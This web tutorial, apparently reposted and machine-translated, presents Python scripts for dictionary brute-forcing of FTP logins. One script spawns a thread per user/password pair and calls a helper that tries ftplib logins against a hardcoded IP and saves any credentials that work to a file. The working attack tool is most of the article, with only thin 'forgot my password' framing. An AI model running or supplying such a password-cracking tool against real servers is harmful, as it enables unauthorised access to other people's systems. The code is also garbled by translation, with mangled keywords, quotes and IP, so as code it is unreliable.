Example of how to use the pythonftplib library to brute force crack the ftp password

Source: Internet
Author: User
What should I do if I forget my ftp password? The following describes how to use the pythonftplib library to brute force crack passwords. For more information, see python's powerful library files. many functions have corresponding library files. Therefore, it is necessary to learn more, there is an ftp library file ftplib. we only need the login function, and then use multiple threads to call the fields in the corresponding dictionary for logon. you can also use the fields in the corresponding dictionary to log on as needed, compile the required program based on your own situation and let the program do some boring repetitive work instead of us.

The following code is used directly. The following is the main file.

The code is as follows:


Import OS
Import time
Import threading

Class mythread (threading. Thread ):
Def _ init _ (self, command ):
Threading. Thread. _ init _ (self)
Self. command = command
Def run (self ):
Kk = OS. system (self. command)
Ushand#open(“user.txt "," r ")
Pshand1_open(+passwd.txt "," r ")
Listuser = []
Listpass = []
For us in open(“user.txt "," r "):
Lineus = ushand. readline (). strip ('\ n ')
Listuser. append (lineus)
For ps in open(export passwd.txt "," r "):
Lineps = pshand. readline (). strip ('\ n ')
Listpass. append (lineps)
For I in listuser:
For j in listpass:
Command = "ftp. py % s" % (I, j)
Print command
My_thread = mythread (command)
My_thread.start ()
Time. sleep (0.1)

The code in the ftp. py file is as follows:

The code is as follows:


Import ftplib
Import socket
Import sys
Ftp = ftplib. FTP ('2017. 54.175.204 ′)
Try:
User = sys. argv [1]
Passwd = sys. argv [2]
Ftp. login (user, passwd)
Handcomplete open('aa.txt ', 'A + ')
Hand. write (user + ":" + passwd + "\ n ")
Failed T ftplib. error_perm:
Print "passwd is world"



The two files are separated by user.txtand passwd.txt, which are the user name and account dictionaries respectively.

The ftpcracking IP in the code can be modified to the IP address to be cracked. The latest account number and password will be input to the aa.txt file.

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.